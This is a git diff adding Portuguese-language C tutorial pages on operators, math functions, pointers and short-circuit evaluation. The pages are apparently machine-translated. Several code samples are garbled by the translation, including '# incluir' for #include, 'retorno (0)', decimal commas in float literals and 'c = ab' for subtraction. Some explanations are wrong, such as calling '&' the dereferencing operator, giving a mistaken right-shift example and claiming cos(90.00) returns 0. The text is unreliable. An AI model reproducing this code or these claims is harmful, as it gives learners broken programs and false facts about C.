+```
+
+Algumas outras funções da biblioteca ( `math.h` ) que podem ser úteis são:
+
+`#include <math.h> double angle = cos(90.00); // Givs us 0.00 int result = sqrt(16); // Gives us 4 double result = log(10.00) // Gives us 2.30 (note this is ln(10), not log base 10)`
+
+// código C para ilustrar // o uso da função ceil.
+
+# incluir
+
+# incluir
+
+int main () { float val1, val2, val3, val4;
+
+val1 = 1,6; val2 = 1,2; val3 = -2,8; val4 = -2,3;
+
+printf ("valor1 =% .1lf \\ n", ceil (val1)); printf ("valor2 =% .1lf \\ n", ceil (val2)); printf ("value3 =% .1lf \\ n", ceil (val3)); printf ("value4 =% .1lf \\ n", ceil (val4));
+
+retorno (0); }
+
+# Antes de você ir ...
+
+## Uma revisão
+
+*   Existem vários operadores básicos:
+*   `+` para adição
+*   `-` para subtração
+*   `*` para multiplicação
+*   `/` para divisão
+*   `%` para modulo
+*   Há também mais operadores, mas entraremos em detalhes com eles mais tarde.
+*   Matemática inteira é uma coisa que C é bastante rigorosa.
+*   C é muito rigoroso quanto aos tipos de dados
+*   Se apenas inteiros estiverem envolvidos, um inteiro será retornado
+*   Se um número de ponto flutuante estiver envolvido em uma operação, essa parte da operação se tornará ponto flutuante
+*   C fornece uma biblioteca `math.h` com múltiplas funções como `pow` para calcular a potência de um número.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/c/more-math/index.md b/client/src/guide/portuguese/c/more-math/index.md
new file mode 100644
index 0000000000..df93c98fa5
--- /dev/null
+++ b/client/src/guide/portuguese/c/more-math/index.md
@@ -0,0 +1,184 @@
+---
+title: More math
+localeTitle: Mais matemática
+---
+# Mais matemática em C
+
+Ok, então você viu o básico. Há muito mais lá fora em C, então aqui está uma olhada nisso.
+
+## Ordem de operações
+
+Dê uma olhada na seguinte equação:
+
+> 1 + (3-2) \* 5
+
+Se fôssemos simplesmente ler e computar da esquerda para a direita, teríamos 1, somar 3, subtrair 2 e multiplicar por 5, obtendo 10. No entanto, isso negligencia a ordem das operações. Devemos fazer (3-2) primeiro, obtendo 1, depois multiplicar por 5, depois adicionar 1. Isso dá uma resposta de 6.
+
+Assim como em matemática regular, C tem uma ordem de operações. As operações têm precedência e, se uma operação tiver uma precedência maior que a outra, a precedência mais alta será computada primeiro. Usar parênteses pode aumentar essa precedência, assim como na matemática normal.
+
+## Operações Unárias
+
+Operações unárias são operações onde há apenas uma variável. Existem alguns em C.
+
+### Operadores de pós-correção e pré-correção
+
+Existem muitas situações em que você deseja obter um número e subir ou descer em 1. Para essas situações, temos operadores pós-correção e pré-correção:
+
+```C
+1: a++; 
+ 2: ++a; 
+ 
+ 3: a--; 
+ 4: --a; 
+```
+
+Ambos os exemplos em 1 e 2 aumentarão o valor de um por um. Ambos os exemplos em 3 e 4 diminuirão o valor de um por um. No entanto, 1 não faz exatamente o mesmo que 2, e 3 não faz exatamente o mesmo que 4. Operadores pré-fixados são chamados assim porque a operação é um prefixo (2 e 4 são nossos operadores de prefixo). Isso age de forma um pouco diferente de nossos operadores pós-correção em 1 e 3. Operadores pré-fixados executam a operação e retornam o valor. Os operadores pós-correção retornam o valor e, em seguida, executam a incremento.
+
+### Unário mais e menos
+
+Na matemática normal a que você está acostumado, você usa um '-' na frente de um número ou variável, e isso torna o número ou a variável negativos. Se o número ou variável já for negativo, torna-se positivo.
+
+C faz a mesma coisa: coloque um `-` na frente de um número ou variável para ter esse efeito, da seguinte forma:
+
+```C
+int number = -3; 
+ number = -number; 
+```
+
+Então o `number` começa como negativo 3, mas depois se torna positivo porque um negativo negativo é positivo.
+
+## Operações bit a bit
+
+Como C é um nível baixo como mencionado anteriormente, você tem acesso aos bits binários individuais (se você optar por aproveitar isso). Existem algumas operações binárias embutidas para nos permitir fazer isso. Para estes exemplos, usaremos `a` e `b` como nossas variáveis. Eles podem ser qualquer tipo de variável, porque todas as variáveis ​​serão representadas em bits, portanto, o tipo exato de dados não importa para eles.
+
+### E
+
+`c = a & b;` irá executar um AND bit a bit. Isto significa que, se o primeiro bit de `a` e o primeiro bit de `b` são ambos 1, o primeiro bit de c será 1, e 0 de outro modo. Se o segundo bit de `a` e `b` forem ambos 1, o segundo bit de c será 1 e 0, caso contrário. Isso continua até que todos os bits tenham sido eliminados.
+
+### OU
+
+`c = a | b;` irá executar um OR bit a bit. O primeiro bit de `c` é 1 se o primeiro bit em `a` ou `b` for 1, o segundo bit for 1 se o segundo bit em `a` ou `b` for 1 e assim por diante.
+
+### NÃO
+
+`b = ~a;` irá definir `b` para o complemento de `a` , significando que qualquer 1 se torna um 0 e qualquer 0 se torna um 1.
+
+### XOR
+
+`c = a ^ b;` irá executar um XOR bit a bit. Isto é um exclusivo ou, significando que o primeiro bit de `c` é 1 se `a` ou `b` é 1, mas não ambos. O segundo bit é 1 se ou é 1, mas não ambos, e assim por diante.
+
+### Mudança
+
+Uma mudança bit a bit levará os bits e os moverá para alguns lugares à esquerda ou à direita. Por exemplo, digamos que temos um conjunto de bits: `101110` . C executa uma mudança aritmética quando muda de bit. Vamos usar uma tabela para deixar isso mais claro:
+
+| Bit | | 1 | 2 | 3 | 4 | 5 | 6 | | ------- | --- | --- | --- | --- | --- | --- | --- | | Antes | | 1 | 0 | 1 | 1 | 1 | 0 | | Durante | 1 | 0 | 1 | 1 | 1 | 0 | | | Depois | | 0 | 1 | 1 | 1 | 0 | 0 |
+
+Esta é uma mudança bitwise aritmética indo para a esquerda. Observe que, no turno deixado, o 1 mais à esquerda, que começou na posição 1, acabou ficando fora do espaço que poderia caber, então foi removido. No turno, uma abertura apareceu à esquerda, então foi preenchida com um 0.
+
+Agora vamos dar uma olhada em um desvio de aritmética certo por um:
+
+| Bit | 1 | 2 | 3 | 4 | 5 | 6 | | | ------- | --- | --- | --- | --- | --- | --- | --- | | Antes | 1 | 0 | 1 | 1 | 1 | 0 | | | Durante | | 1 | 0 | 1 | 1 | 1 | 0 | | Depois | 1 | 1 | 0 | 1 | 1 | 1 | |
+
+Observe que aqui um slot abriu na posição 1, mas em vez de ser preenchido por 0, foi preenchido pelo bit mais significativo. Neste caso, isto é um 1. Se o bit que começou na posição 1 fosse 0, as lacunas teriam sido preenchidas com 0s.
+
+Isso ocorre porque os números no seu computador são representados usando Complemento de Dois, portanto, mudar dessa maneira não torna um número negativo positivo. O complemento de dois vale a pena ler mais se você estiver interessado em saber como os computadores usam o binário para fazer matemática e representar números.
+
+Para executar um turno à esquerda, use o operador `<<` , assim:
+
+```C
+c = a << b; 
+```
+
+Isto irá deslocar `a` para a esquerda por `b` pedaços, e definir que resultado igual a `c` .
+
+Este exemplo vai deslocar `a` para a direita por `b` pedaços, e definir que resultado igual a `c` .
+
+```C
+c = a >> c; 
+```
+
+## Operadores de Atribuição Composta
+
+Às vezes você quer aumentar uma variável por um determinado valor. Você poderia fazer isso:
+
+```C
+a = a + b; 
+```
+
+No entanto, é para isso que servem os operadores de atribuição compostos. Em vez disso, você pode escrever isso, o que faz exatamente a mesma coisa:
+
+```C
+a += b; 
+```
+
+Isso existe para um monte de outros operadores também. Aqui está uma mesa acessível para você:
+
+O caminho curto | O caminho longo : --------------: |: ------------: `a += b` | `a = a + b` `a -= b` | `a = a - b` `a *= b` | `a = a * b` `a /= b` | `a = a / b` `a %= b` | `a = a % b` `a &= b` | `a = a & b` `a ^= b` | `a = a ^ b` `a <<= b` | `a = a << b` `a >>= b` | `a = a >> b`
+
+Há também `|=` , que não está na mesa porque o `|` personagem quebra a mesa. Ele age como todas essas outras operações, no entanto.
+
+## Fundição
+
+Às vezes você não quer que um número seja um número, ou você quer que um inteiro seja um float, ou algo assim. É para isso que o casting é.
+
+Como você se lembra da discussão da divisão de números inteiros, o exemplo a seguir fornecerá um valor inteiro sem qualquer decimal, porque ambos os números que entram são inteiros:
+
+```C
+#include <stdio.h> 
+ 
+ int main(void) { 
+    int a = 12; 
+    int b = 5; 
+ 
+    printf("a divided by b is %i", a/b); 
+ } 
+```
+
+No entanto, usando fundição, podemos transformá-los em carros alegóricos usando fundição. Isso permite que eles sejam divididos como flutuantes e a equação retornará um valor flutuante:
+
+```C
+#include <stdio.h> 
+ 
+ int main(void) { 
+    int a = 12; 
+    int b = 5; 
+ 
+    printf("a divided by b is %f", (float) a / b); 
+ } 
+```
+
+Agora é um ponto flutuante 12 dividido por 5, portanto, isso retorna um número de ponto flutuante que não trunca após a casa decimal.
+
+Para transformar um número em `int` , use `(int)` , para transformá-lo em `double` , use `(double)` e assim por diante.
+
+## Math.h
+
+Então, isso é todo o material built-in, mas apenas como como você pode `#include` stdio e stdbool, você pode incluir uma biblioteca chamada `math.h` . Esta biblioteca tem todos os tipos de funções úteis para todos os tipos de matemática. Vale a pena dar uma leitura à [página da Wikipedia,](https://en.wikipedia.org/wiki/C_mathematical_functions#Overview_of_functions) se você quiser a lista completa de funções. Aqui está um exemplo de como usar o `abs` , que é o primeiro da lista:
+
+```C
+a = abs(-1); 
+```
+
+`abs` calcula o valor absoluto do valor passado para ele. Neste caso, ele recebe -1, então ele irá transformar isso em 1, e `a` será igual a 1. Há muito mais para dar muito mais funcionalidade, e é assim que você será capaz de fazer expoentes, trigonometria, e muito mais.
+
+# Antes de você ir ...
+
+## Uma revisão
+
+*   Há um monte de mais operadores matemáticos em C
+*   Ordem de operações existe em C
+*   Existem parênteses e funcionam como matemática regular para alterar a ordem das operações
+*   Existem algumas operações unárias, que são operações onde há apenas uma variável:
+*   Os operadores pós-correção e pré-correção são usados ​​para adicionar e subtrair 1
+*   Adicionando um: `++a;` ou `a++;`
+*   Subtraindo um: `--a` ou 'a--'
+*   `-` pode ser colocado na frente de uma variável ou número e age como um negativo em matemática
+*   Existem algumas operações bitwise, também
+*   E é feito com &
+*   OU é feito com |
+*   NÃO é feito com ~
+*   XOR é feito com ^ (XOR não funciona com número de tipo flutuante em C)
+*   Operações de atribuição compostas existem para todas as operações não unárias
+*   a + = b é o mesmo que a = a + b, e assim por diante
+*   Casting permite que você troque entre tipos de dados
+*   math.h tem mais coisas de matemática para brincar
\ No newline at end of file
diff --git a/client/src/guide/portuguese/c/operators/index.md b/client/src/guide/portuguese/c/operators/index.md
new file mode 100644
index 0000000000..5fb1a8e217
--- /dev/null
+++ b/client/src/guide/portuguese/c/operators/index.md
@@ -0,0 +1,99 @@
+---
+title: Operators
+localeTitle: Operadores
+---
+# Operadores em C
+
+## 1\. Operadores Aritméticos
+
+*   `+` Adiciona aos operandos (valores) `C int a = 6; int c = a + 1; // c = 7`
+*   `-` Subtrai o segundo operando do primeiro `C int a = 8; int b = 9; int c = a - b; // c = -1`
+*   `*` Multiplica dois operandos `C int a = 8; int b = 9; int c = a * b; // c = 72`
+*   `/` Divide o primeiro operando pelo segundo `C int a = 8; int b = 4; int c = a / b; // c = 2`
+*   `%` Dá o restante depois de uma divisão inteira `C int a = 8; int b = 9; int c = b % a; // c = 1 because b = 1*a + 1 = 8 + 1`
+*   `++` Aumenta o valor int em um `C int a = 8; a++; // a = 9 int b = a++; // postfix operator; a = 10, b = 9 int c = ++a; // prefix operator; a = 11, c = 11`
+*   `--` Diminui o valor int em um `C int a = 8; a--; // a = 7 int b = a--; // postfix operator; a = 6, b = 7 int c = --a; // prefix operator; a = 5, c = 5` // Programa para demonstrar o funcionamento de operadores aritméticos
+
+# incluir
+
+int main () { int a = 9, b = 4, c;
+```
+c = a+b; 
+ printf("a+b = %d \n",c); 
+ 
+ c = ab; 
+ printf("ab = %d \n",c); 
+ 
+ c = a*b; 
+ printf("a*b = %d \n",c); 
+ 
+ c=a/b; 
+ printf("a/b = %d \n",c); 
+ 
+ c=a%b; 
+ printf("Remainder when a divided by b = %d \n",c); 
+ 
+ return 0; 
+```
+
+}
+
+## 2\. Operadores Relacionais
+
+*   `==` Igualdade - verdade quando os dois operandos são iguais `C int a = 5, b = 5; bool c = (a == b); // c = true`
+*   `!=` Não é igual - verdadeiro quando os dois operandos NÃO são iguais `C int a = 5, b = 6; bool c = (a != b); // c = true`
+*   `>` Maior que - Verdadeiro quando o primeiro operando é maior que o segundo. `C int a = 8, b = 5; bool c = (a > b); // c = true`
+*   `<` Menos que - Verdadeiro quando o primeiro operando é menor que o segundo. `C int a = 5, b = 8; bool c = (a < b); // c = true`
+*   `>=` Maior que ou igual - Verdadeiro quando o primeiro operando é maior ou igual ao segundo. `C int a = 8, b = 5; bool c = (a >= b); // c = true bool d = (a >= 8); // d = true`
+*   `<=` Menor que ou igual - Verdadeiro quando o primeiro operando é menor ou igual ao segundo. `C int a = 5, b = 8; bool c = (a <= b); // c = true`
+
+## 3\. Operadores Lógicos
+
+*   `&&` AND operator - True quando **ambos** os operandos são verdadeiros. `C bool c = (5 < 6) && (8!=7); // both operands true, therefore c = true`
+*   `||` Operador OR - Verdadeiro quando o primeiro ou o segundo operando é verdadeiro (ou ambos) `C bool c = (5 < 6) || (8 == 7) // first operand is true, therefore c = true`
+*   `!` NÃO operador - Verdadeiro quando o operando é falso. `C bool c = !(8 == 7) // translate: NOT (false), therefore c = true`
+
+## 4\. Operadores bit a bit
+
+*   `&` AND operator - Se em algum lugar houver um bit nos dois operandos, ele será copiado para o resultado `C A = 11001 B = 01000 RESULT = 01000`
+*   `|` Operador OR - Se em algum lugar houver um bit em operandos, ele será copiado para o resultado `C A = 11001 B = 01000 RESULT = 11001`
+*   `^` Operador XOR (exclusivo OU) - Se em um local houver um bit em um dos operandos (não ambos), ele será copiado para o resultado `C A = 11001 B = 01000 RESULT = 10001`
+*   `~` Negation operator - Inverte os bits. 1 -> 0, 0 -> 1 `C C = 01000 RESULT = 10111`
+*   `<<` Operador de deslocamento à esquerda - O operando da esquerda é movido para a esquerda por tantos bits, quanto o operando da direita `C A = 11001 A << 2 RESULT = 00100`
+*   `>>` Operador de deslocamento à direita - O operando da esquerda é movido para a direita por tantos bits, quanto o operando da direita `C A = 11001 A >> 2 RESULT = 00110`
+
+## 5\. Operadores de Atribuição
+
+*   `=` `C int a = 7; // 'a' is going to be equal to 7`
+*   `+=` `C int a = 7; a += 5; // equivalent to a = a + 5 = 7 + 5 = 12`
+*   `-=` `C int a = 7; a -= 2; // equivalent to a = a - 2 = 7 - 2 = 5`
+*   `*=` `C int a = 7; a *= 3; // equivalent to a = a * 3 = 7 * 3 = 21`
+*   `/=` `C int a = 21; a /= 3; // equivalent to a = a / 3 = 21 / 3 = 7`
+*   `%=`  
+    `C int a = 21; a %= 5; // equivalent to a = a % 5 = 21 % 5 = 1`
+
+Operadores Diversos ↦ sizeof & ternary Além dos operadores discutidos acima, existem alguns outros operadores importantes, incluindo sizeof e? : suportado pela linguagem C.
+
+Exemplo de descrição do operador sizeof () Retorna o tamanho de uma variável. sizeof (a), onde a é inteiro, retornará 4. & Retorna o endereço de uma variável. &uma; retorna o endereço real da variável.
+
+*   Ponteiro para uma variável. \*uma; ? : Expressão condicional. Se a condição é verdadeira? então valor X: caso contrário, valor Y
+
+## 6\. Precedência do operador em C
+
+Operadores com a maior precedência aparecem no topo da lista. Dentro de uma expressão, operadores com maior precedência será avaliada primeiro.
+
+*   Postfix `() [] -> . ++ --`
+*   Unário `+ - ! ~ ++ -- (type)* & sizeof`
+*   Multiplicativo `* / %`
+*   Aditivo `+ -`
+*   Shift `<< >>`
+*   Relacional `< <= > >=`
+*   Igualdade `== !=`
+*   Bit a bit E `&`
+*   Bitwise XOR `^`
+*   Bitwise OR `|`
+*   Lógico E `&&`
+*   Lógica OR `||`
+*   Condicional `?:`
+*   Tarefa `= += -= *= /= %= >>= <<= &= ^= |=`
+*   vírgula `,`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/c/passing-pointers-to-function/index.md b/client/src/guide/portuguese/c/passing-pointers-to-function/index.md
new file mode 100644
index 0000000000..65619a857c
--- /dev/null
+++ b/client/src/guide/portuguese/c/passing-pointers-to-function/index.md
@@ -0,0 +1,46 @@
+---
+title: Passing pointers to funtions
+localeTitle: Passando ponteiros para funtions
+---
+# Passando ponteiros para funtions
+
+C permite passar um ponteiro para uma função. Para conseguir isso, simplesmente declare os parâmetros como tipo de ponteiro. Essa maneira de passar referências para funções é útil quando você deseja modificar variáveis ​​que estão fora do escopo dessa função.
+
+```C
+// incorrect implementation of swap 
+ #include <stdio.h> 
+ void swap(int a, int b){ 
+    int c; 
+    c = a; 
+    a = b; 
+    b = c; 
+ } 
+ int main(){ 
+    int var1 = 10; 
+    int var2 = 20; 
+    swap(var1, var2); 
+    printf("Value of var1: %d \n", var1); // prints 10 
+    printf("Value of var2: %d \n", var2); // prints 20 
+ } 
+```
+
+Neste exemplo de código, a função de troca não funciona como planejado, pois troca duas variáveis ​​que existem somente dentro do escopo dessa função. Para corrigir isso, fazemos uma modificação conforme mostrado abaixo.
+
+```C
+// correct implementation of swap 
+ #include <stdio.h> 
+ void swap(int* a, int* b){ 
+    int c = *a; 
+    *a = *b; 
+    *b = c; 
+ } 
+ int main(){ 
+    int var1 = 10; 
+    int var2 = 20; 
+    swap(&var1, &var2); 
+    printf("Value of var1: %d \n", var1); // prints 20 
+    printf("Value of var2: %d \n", var2); // prints 10 
+ } 
+```
+
+No segundo exemplo de código, você era capaz de alterar os valores das variáveis ​​apenas porque estava constantemente des-referenciando um ponteiro dentro da função em vez de tentar alterar os valores diretamente
\ No newline at end of file
diff --git a/client/src/guide/portuguese/c/pointers/index.md b/client/src/guide/portuguese/c/pointers/index.md
new file mode 100644
index 0000000000..9b0986ade6
--- /dev/null
+++ b/client/src/guide/portuguese/c/pointers/index.md
@@ -0,0 +1,320 @@
+---
+title: Pointers
+localeTitle: Ponteiros
+---
+# Ponteiros em C
+
+Até agora você deve estar ciente de que C é uma linguagem de baixo nível, e nada mostra isso melhor que os ponteiros. Ponteiros são variáveis ​​que obtêm o valor da variável "apontando" para um local de memória, em vez de armazenar o valor da própria variável. Isso permite alguns truques úteis e é também o que nos dá acesso a matrizes e manipulação de arquivos, entre outras coisas.
+
+#
+```
+type *var-name; 
+```
+
+## Fazendo e usando um ponteiro
+
+```c
+#include <stdio.h> 
+ 
+ int main(void){ 
+    double my_double_variable = 10.1; 
+    double *my_pointer; 
+ 
+    my_pointer = &my_double_variable; 
+ 
+    printf("value of my_double_variable: %f\n", my_double_variable); 
+ 
+    ++my_double_variable; 
+ 
+    printf("value of my_pointer: %f\n", *my_pointer); 
+ 
+    return 0; 
+ } 
+```
+
+Saída:
+```
+value of my_double_variable: 10.100000 
+ value of my_pointer: 11.100000 
+```
+
+Neste código, existem duas declarações. A primeira é uma inicialização típica de variável que cria um `double` e a define como 10.1. Novo em nossas declarações é o uso de `*` . O asterisco ( `*` ) é normalmente usado para multiplicação, mas quando o usamos colocando-o na frente de uma variável, ele diz a C que esta é uma variável de ponteiro.
+
+A próxima linha diz ao compilador onde isso está em outro lugar. Ao usar `&` desta forma, ele se torna o "operador de desreferenciamento" e retorna a localização da memória da variável que está olhando.
+
+Com isso em mente, vamos dar uma olhada neste pedaço de código:
+
+```c
+double *my_pointer; 
+ // my_pointer now stored the address of my_double_variable 
+ my_pointer = &my_double_variable; 
+```
+
+`my_pointer` foi declarado e foi declarado como um ponteiro. O compilador C agora sabe que `my_pointer` vai apontar para um local de memória. A próxima linha atribui `my_pointer` um valor de localização de memória usando o `&` .
+
+Agora vamos dar uma olhada no que se refere a um meio de localização de memória para o seu código:
+
+```c
+    printf("value of my_double_variable: %f\n", my_double_variable); 
+ 
+    // Same as my_double_variable = my_double_variable + 1 
+    // In human language, adding one to my_double_variable 
+    ++my_double_variable; 
+ 
+    printf("value of my_pointer: %f\n", *my_pointer); 
+```
+
+Observe que, para obter o valor dos dados em `*my_pointer` , você precisará informar ao C que deseja obter o valor para o qual a variável está apontando. Tente executar este código sem o asterisco e você poderá imprimir a localização da memória, porque é isso que a variável `my_variable` está mantendo.
+
+Você pode declarar múltiplos apontadores em uma única instrução como com variáveis ​​padrão, assim:
+
+```c
+int *x, *y; 
+```
+
+Observe que o `*` é necessário antes de cada variável. Isso ocorre porque ser um ponteiro é considerado parte da variável e não parte do tipo de dados.
+
+## Usos práticos de ponteiros
+
+### Matrizes
+
+A aplicação mais comum de um ponteiro está em uma matriz. Matrizes, sobre as quais você lerá mais adiante, permitem um grupo de variáveis. Você realmente não tem que lidar com `*` e `&` usar matrizes, mas isso é o que eles estão fazendo nos bastidores.
+
+### Funções
+
+Às vezes você quer ajustar o valor de uma variável dentro de uma função, mas se você simplesmente passar sua variável por valor, a função funcionará com uma cópia de sua variável ao invés da própria variável. Se, em vez disso, você passar o ponteiro apontando para o local da memória da variável, poderá acessá-lo e modificá-lo fora de seu escopo normal. Isso ocorre porque você está tocando a própria localização da memória original, permitindo que você ajuste algo em uma função e faça alterações em outro lugar. Em contraste com "call by value", isso é chamado de "chamada por referência".
+
+O programa a seguir troca os valores de duas variáveis ​​dentro da função de `swap` dedicada. Para conseguir isso, as variáveis ​​são passadas por referência.
+
+```c
+ /* C Program to swap two numbers using pointers and function. */ 
+ #include <stdio.h> 
+ void swap(int *n1, int *n2); 
+ 
+ int main() 
+ { 
+    int num1 = 5, num2 = 10; 
+ 
+    // address of num1 and num2 is passed to the swap function 
+    swap( &num1, &num2); 
+    printf("Number1 = %d\n", num1); 
+    printf("Number2 = %d", num2); 
+    return 0; 
+ } 
+ 
+ void swap(int * n1, int * n2) 
+ { 
+    // pointer n1 and n2 points to the address of num1 and num2 respectively 
+    int temp; 
+    temp = *n1; 
+    *n1 = *n2; 
+    *n2 = temp; 
+ } 
+```
+
+Saída
+```
+Number1 = 10 
+ Number2 = 5 
+```
+
+Os endereços, ou localizações de memória, de `num1` e `num2` são passados ​​para a `swap` funções e são representados pelos ponteiros `*n1` e `*n2` dentro da função. Então, agora os ponteiros `n1` e `n2` apontam para os endereços de `num1` e `num2` respectivamente.
+
+Então, agora o ponteiro n1 e n2 aponta para o endereço de num1 e num2, respectivamente.
+
+Quando, o valor dos ponteiros é alterado, o valor na localização da memória apontada também muda de forma correspondente.
+
+Portanto, as alterações feitas em \* n1 e \* n2 são refletidas em num1 e num2 na função principal.
+
+### PONTEIROS COMO PARÂMETROS DE FUNÇÃO
+
+quando passamos qualquer parâmetro para função, estamos fazendo uma cópia do parâmetro. vamos ver com o exemplo
+
+```C
+#include <stdio.h> 
+ 
+ void func(int); 
+ 
+ int main(void) { 
+    int a = 11; 
+    func(a); 
+    printf("%d",a);// print 11 
+ 
+ 
+    return 0; 
+ } 
+ void func(int a){ 
+ a=5 
+ printf("%d",a);//print 5 
+ } 
+```
+
+No exemplo acima, estamos alterando o valor do inteiro a na função func, mas ainda obtemos 11 na função principal. Isso acontece porque na cópia da função do inteiro a passou como parâmetro, portanto, nessa função não temos acesso ao 'a' que está na função principal.
+
+Então, como você poderia alterar o valor do inteiro definido no main, usando outra função? Aqui POINTERS entra em função. Quando nós fornecemos o ponteiro como um parâmetro, temos acesso ao endereço desse parâmetro e podemos fazer qualquer alteração com este parâmetro e o resultado será mostrado em todo lugar. Abaixo está um exemplo que faz exatamente a mesma coisa que queremos…
+
+Ao desreferenciar `n1` e `n2` , agora podemos modificar a memória para a qual `n1` e `n2` apontam. Isso nos permite alterar o valor das duas variáveis `num1` e `num2` declaradas na função `main` fora de seu escopo normal. Após a conclusão da função, as duas variáveis ​​agora trocaram seus valores, como pode ser visto na saída.
+
+### Truques com Localizações de Memória
+
+Sempre que puder ser evitado, é uma boa ideia manter seu código fácil de ler e entender. Na melhor das hipóteses, seu código contará uma história - terá fácil leitura de nomes de variáveis ​​e fará sentido se você ler em voz alta, e usará o comentário ocasional para esclarecer o que uma linha de código faz.
+
+Por causa disso, você deve ter cuidado ao usar ponteiros. É fácil fazer algo confuso para você depurar ou para alguém ler. No entanto, é possível fazer algumas coisas bem legais com eles.
+
+Dê uma olhada neste código, que transforma algo de maiúsculas em minúsculas:
+
+```c
+#include <stdio.h> 
+ #include <ctype.h> 
+ 
+ char *lowerCase (char *string) { 
+    char *p = string; 
+    while (*p) { 
+        if (isupper(*p)) *p = tolower(*p); 
+        p++; 
+    } 
+    return string; 
+ } 
+```
+
+Isso começa pegando uma string (algo que você aprenderá quando entrar em arrays) e percorrer cada local. Observe o p ++. Isso incrementa o ponteiro, o que significa que ele está olhando para o próximo local de memória. Cada letra é um local de memória, assim, o ponteiro está olhando para cada letra e decidindo o que fazer para cada uma.
+
+### Constante Qualific
+
+O qualificador const pode ser aplicado à declaração de qualquer variável para especificar que seu valor não será alterado (o que depende de onde as variáveis ​​const são armazenadas, podemos alterar o valor da variável const usando o pointer).
+
+# Ponteiro para variável
+
+Podemos alterar o valor de ptr e também podemos alterar o valor do objeto ptr apontando para. O seguinte fragmento de código explica o ponteiro para variável
+
+```c
+#include <stdio.h> 
+ int main(void) 
+ { 
+    int i = 10; 
+    int j = 20; 
+    int *ptr = &i;        /* pointer to integer */ 
+    printf("*ptr: %d\n", *ptr); 
+ 
+    /* pointer is pointing to another variable */ 
+    ptr = &j; 
+    printf("*ptr: %d\n", *ptr); 
+ 
+    /* we can change value stored by pointer */ 
+    *ptr = 100; 
+    printf("*ptr: %d\n", *ptr); 
+ 
+    return 0; 
+ } 
+```
+
+# Ponteiro para constante
+
+Podemos mudar o ponteiro para apontar para qualquer outra variável inteira, mas não podemos alterar o valor do objeto (entidade) apontado usando ponteiro ptr.
+
+```c
+#include <stdio.h> 
+ int main(void) 
+ { 
+    int i = 10; 
+    int j = 20; 
+    const int *ptr = &i;    /* ptr is pointer to constant */ 
+ 
+    printf("ptr: %d\n", *ptr); 
+    *ptr = 100;        /* error: object pointed cannot be modified 
+                     using the pointer ptr */ 
+ 
+    ptr = &j;          /* valid */ 
+    printf("ptr: %d\n", *ptr); 
+ 
+    return 0; 
+ } 
+```
+
+# Ponteiro constante para variável
+
+Neste podemos mudar o valor da variável que o ponteiro está apontando. Mas não podemos mudar o ponteiro para apontar para outra variável.
+
+```c
+#include <stdio.h> 
+ int main(void) 
+ { 
+   int i = 10; 
+   int j = 20; 
+   int *const ptr = &i;    /* constant pointer to integer */ 
+ 
+   printf("ptr: %d\n", *ptr); 
+ 
+   *ptr = 100;    /* valid */ 
+   printf("ptr: %d\n", *ptr); 
+ 
+   ptr = &j;        /* error */ 
+   return 0; 
+ } 
+```
+
+# ponteiro constante para constante
+
+A declaração acima é ponteiro constante para variável constante, o que significa que não podemos alterar o valor apontado pelo ponteiro, assim como não podemos apontar o ponteiro para outra variável.
+
+```c
+#include <stdio.h> 
+ 
+ int main(void) 
+ { 
+    int i = 10; 
+    int j = 20; 
+    const int *const ptr = &i; /* constant pointer to constant integer */ 
+ 
+    printf("ptr: %d\n", *ptr); 
+ 
+    ptr = &j;            /* error */ 
+    *ptr = 100;        /* error */ 
+ 
+    return 0; 
+ } 
+```
+
+# Antes de você ir ...
+
+## Uma revisão
+
+*   Ponteiros são variáveis, mas em vez de armazenar um valor, eles armazenam um local de memória.
+*   `*` e `&` são usados ​​para acessar valores em locais de memória e acessar locais de memória, respectivamente.
+*   Os ponteiros são úteis para alguns dos recursos subjacentes de C.
+
+# Ponteiro vs Array em C
+
+Na maioria das vezes, os acessos de ponteiro e array podem ser tratados como agindo da mesma forma, sendo as principais exceções:
+
+1) o operador sizeof
+
+*   `sizeof(array)` retorna a quantidade de memória usada por todos os elementos da matriz
+*   `sizeof(pointer)` retorna apenas a quantidade de memória usada pela própria variável de ponteiro
+
+2) o operador &
+
+*   & array é um alias para & array \[0\] e retorna o endereço do primeiro elemento da matriz
+*   & ponteiro retorna o endereço do ponteiro
+
+3) uma inicialização literal de string de um array de caracteres
+
+*   `char array[] = “abc”` define os primeiros quatro elementos da matriz como 'a', 'b', 'c' e '\\ 0'
+*   `char *pointer = “abc”` define o ponteiro para o endereço da string “abc” (que pode ser armazenada em memória somente leitura e, portanto, imutável)
+
+4) A variável de ponteiro pode receber um valor enquanto a variável de matriz não pode ser.
+
+```c
+    int a[10]; 
+    int *p; 
+    p = a; /*legal*/ 
+    a = p; /*illegal*/ 
+```
+
+5) A aritmética na variável do ponteiro é permitida.
+
+```c
+    p++; /*Legal*/ 
+    a++; /*illegal*/ 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/c/short-circuit-evaluation/index.md b/client/src/guide/portuguese/c/short-circuit-evaluation/index.md
new file mode 100644
index 0000000000..2ad98ac7bf
--- /dev/null
+++ b/client/src/guide/portuguese/c/short-circuit-evaluation/index.md
@@ -0,0 +1,64 @@
+---
+title: Short-Circuit Evaluation
+localeTitle: Avaliação de curto-circuito
+---
+# Avaliação de curto-circuito
+
+A avaliação de curto-circuito consiste em verificar ou executar o segundo argumento apenas se o primeiro argumento não for suficiente para determinar o valor da expressão.
+
+Você pode fazer uma avaliação de curto-circuito com && e || operadores.
+
+## Exemplo com o operador &&:
+
+```c
+  canOpenFile(filename) && openFile(filename); // If you can open the file then open it. 
+```
+
+O exemplo acima é equivalente a:
+
+```c
+  if ( canOpenFile(filename) ) { 
+    openFile(filename); 
+  } 
+```
+
+## Exemplo com || operador:
+
+```c
+  isServerOn || startServer(); // If the server is not on then start it. 
+ ``` 
+ The example above is equivalent to: 
+ 
+ ```c 
+  if ( !isServerOn ) { 
+    startServer(); 
+  } 
+ ``` 
+ 
+ ## Keep it all together in real example 
+ 
+ ```c 
+ #include <stdio.h> 
+ #include <stdlib.h> 
+ 
+ char *getName(); 
+ 
+ int main(int argc, char *argv[]) { 
+    // Get first argument passed via terminal 
+    char *name = argv[1]; 
+ 
+    // If name is not passed via terminal then print message and then get the name 
+    name || printf("Please give me your name:") && (name = getName()); 
+ 
+    printf("Hello %s\n", name); 
+ } 
+ 
+ char *getName() { 
+    // Allocate memory 
+    char *name = malloc(30); 
+ 
+    scanf("%s", name); 
+    return name; 
+ } 
+
+```
\ No newline at end of file
